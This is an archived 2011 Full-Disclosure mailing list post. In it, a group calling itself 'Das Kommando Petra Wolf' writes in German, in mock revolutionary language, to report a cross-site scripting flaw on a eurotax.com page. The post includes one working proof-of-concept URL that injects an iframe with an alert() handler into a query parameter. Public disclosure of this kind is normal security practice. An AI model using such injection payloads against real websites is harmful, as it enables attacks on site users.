full-disclosure - eurotax.com XSS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Mon, 17 Oct 2011 21:59:48 +0200
From: DasKommandoPetraWolf@....net
To: full-disclosure@...ts.grok.org.uk
Subject: eurotax.com XSS

Rotfront Genossen!

Im revolutionaeren Kampf und auf der Suche nach Alternativen zu kapitalistischer  Standardsoftware und Unternehmen hat 
"Das Kommando Petra Wolf" sogenannte angebliche Sicherheitsluecken
in Form von XSS gefunden:

http://wli-de.eurotax.com/wli/dede/entry/welcome.php?koop_id="><iframe src='' onload=alert('BorkBork')>

Wir entschuldigen uns bei der Security Szene, dass wir uns nur damit ausweisen koennen. Es wird keine weiteren XSS Advisories geben. 
Der Wolf ist schwarz.

gezeichnet

Das Kommando Petra Wolf

--
"Wir bringen Kommunismus nach Amerika"

-- 
Empfehlen Sie GMX DSL Ihren Freunden und Bekannten und wir
belohnen Sie mit bis zu 50,- Euro! https://freundschaftswerbung.gmx.de

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/